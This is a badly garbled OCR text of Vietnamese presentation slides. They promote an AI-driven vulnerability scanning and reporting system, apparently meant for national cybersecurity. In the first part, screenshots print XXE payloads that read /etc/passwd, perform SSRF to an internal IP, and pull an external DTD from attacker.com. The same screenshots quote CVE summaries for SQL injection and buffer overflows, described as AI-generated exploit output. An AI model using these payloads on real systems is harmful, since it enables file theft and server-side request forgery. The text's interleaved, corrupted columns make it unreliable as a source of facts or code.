* Tu CVE lya chon hé thong Al tu dong dua ra thong tin tong hop vé 16 hong, "™

CVE-2025-4885

Cac diéu kién khai thac, quy trinh khai thac, ma khai thac va payload cu thé,
Phan tich mé khai thac va danh gia mitc do kha thi.

Ma khai thac
Sinh ma khai thac soat, dinh nghia nay sau do c¢ thé dugc sir dung dé thuc thi cac lénh hé théng.

4, M3 Khai thac (PoC) va Payload Cu thé
D liéu dau vao *

Ma CVE, mo ta 16 hong...

Vi du Payload XXE dé doc tép tin /etc/passwd:

- P - :I‘ L] - :H _ 'I?
Tra cuu CVE X <?xml version="1.8" encoding="UTF-8"?>
<1DOCTYPE foo |

Q o <IENTITY xxe SYSTEM "file:///etc/passwd">
Tim theo cve

1>
Mé khai théc t
- > <root>
(] stT cve Dién giai
- - — — <datar&xxe;</data>

A vulnerability classified as critical has been found in itsourcecode Sales and

Inventory System 1.0. Affected is an unknown function of the file </root>
1 CVE-2025-4885 /pages/product_add.php. The manipulation of the argument serial leads to sql

niection. ks possitle to Iatneh e stack e motely, The eplod Tise been discloséx Vi du Payload XXE d& thuc hién SSRF (Server-Side Request Forgery) dén dia chi IP 192.168.1.100 port 80:

to the public and may be used. Other parameters might be affected as well.

A vulnerability was found in itsourcecode Restaurant Management System 1.0. It

has been rated as critical. This issue affects some unknown processing of the file
[3 2 CVE-2025-4884 /admin/assign_save.php. The manipulation of the argument team leads to sql <IDOCTYPE foo [

injection. The attack may be initiated remotely. The exploit has been disclosed to

the public and may be used.

<?xml version="1.8@" encoding="UTF-8"?>

<IENTITY xxe SYSTEM "http://192.168.1.100/">

A vulnerability was found in D-Link DI-8100 16.07.26A1. It has been declared as 1>
critical. This vulnerability affects the function ctxz_asp of the file /ctxz.asp of the
el ARy <root>
D 3 CVE-20254883 component Connection Limit Page. The manipulation of the argument
def/defTcp/defUdp/deflcmp/defOther leads to stack-based buffer overflow. The <datar8xxe;</data>
attack can be initiated remotely. The exploit has been disclosed to the public and
</root>
T6ng s8 ban ghi 294.575 N T0iden 10 > Vi du Payload XXE (chi minh hoa, RCE phu thuéc vao cau hinh tmg dung/thu vién):

5 e oy
Hay -CI <?xml version="1.8"?>

<IDOCTYPE root [
<IENTITY % ext SYSTEM "http://attacker.com/evil.dtd"»
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X. NHOM PHAN MEM TRI TUE NHAN TAO TRONG ATTT (6/6)

Bao cao thong minh
4. Bao cao thong minh
, ) Tham s& dau vao
* Hg¢ thong dua ra tong hop bao cao thong minh oy sy 661 tong et

16/05/2025 &) 18/05/2025 5 ‘ @ Thietbi () website

dua trén cong nghe¢ tri tu¢ nhan tao.

* Hé théng tuw dong téng hop dua trén 291 muc ti€u

Két qua phan tich
14 ?
. A 7N 14 A A O 7 . 5§ . Qe y o :
He thong dua ra cac tong hop thong mlnh sau B&o c4o Tinh hinh An ninh mang - Giai doan 2025-05-16 dén 2025-05-18
Tém tat bdo céo
. A 4 o o /’\ x /'(
Phan tich chi tiét 10 hong « Téng 6 muc tiéu thidt bj durge danh gid: 291
« Tong so lo hong phat hién: 1127
. r x /7\ /’\ A o /‘\ /( = 15 ha it hién:
Cac 10 hong xuat hién nhi€u nhat * S8loai 1o hong phat hign: 82
Béo cao nay cung cap mot céi nhin téng quan vé tinh hinh an ninh mang trong giai doan durgc danh gid. S6 luong |6 hang dugc phat hién cho thay can cé cac bién phap tang cudng dé bao vé hé théng va dir liéu.
. /4 X 7\ /( bAAY oY /‘\
Cac 16 hong xuat hién mot lan Phn tich chi it I3 hng
PY A o Duéi day 1a phan tich chi tiét cac 16 héng durge phét hién trong giai doan béo cao, cling véi cac khuyén nghi dé giam thigu rui ro.
Phan tich chung
Céc 16 héng xuat hién nhiéu [an (2 [an):
14
¢ Khuyen ngh1 chung + CVE-20158325
« CVE-2016-8858
) A A « CVE-2016-10012
Ket luan’ « CVE-2022-23943

« CVE-2016-10708
« CVE-2021-41617
« CVE-2024-38476
s CVE-2022-31813
o CVE-2024-38474
« CVE-2020-15778
« CVE-2023-25690
» CVE-2016-6515




F. KET LUAN

» Hién trang Vi€t Nam chua co he théng hoan chinh...hi¢u nang cao,

hoat dong hi¢u qua dac bi€t trong tinh hinh tac chién trén KGM ngay cang
dién bién tinh vi va leo thang.

»Hé thong phan mém tu dong do quét thong minh IAS dua vao hoat dong
c6 nhiém vu ty dong do quét, phat hién tai san CNTT c6 16 hong trén quy
mo 16n trén KGM, nham nam viing hién trang ha t?mg khong gian ‘mang cua
Viét Nam két hopvai hé thong thong tin canh bao moi de doa, dé xac dinh
nguy co trén quy mo toan quoc gla trén KGM khi bi tan cong mang;

> Tu nhitng thuc trang va nhu cau da trinh bay ¢ trén, viéc trién khai

‘ )
TS A L N D
— 1Y 3 ) G- ¥ =
<~ ~ & ~ % S e
= A m— T AP € = e IN INTVaES =0
31 Ghéd AN SOLEAN St e

dau tu mot hé thong tu dong do quét thong minh IAS Ia rat can thi€t, nham 4
hién dai hoa phuong tién lam vi€c, nang cao hi€u qua cong tac nam virng 10 | q
A « R A A :/(,A\'
hong, diem yéu trén KGM e
14 \ \ {
° A . A A A A A A ’ ? 9 ° A ’ \/
Viet Nam; cong b0, tuyén truyén, y€u cau cac co quan chu quan nghién curu, g T
khac phuc, xay dung mo1 truong KGM lanh manh, an toan, gop phan bao v¢ I =l *I%’E{ . é

chil quyén quoc gia trén KGM.
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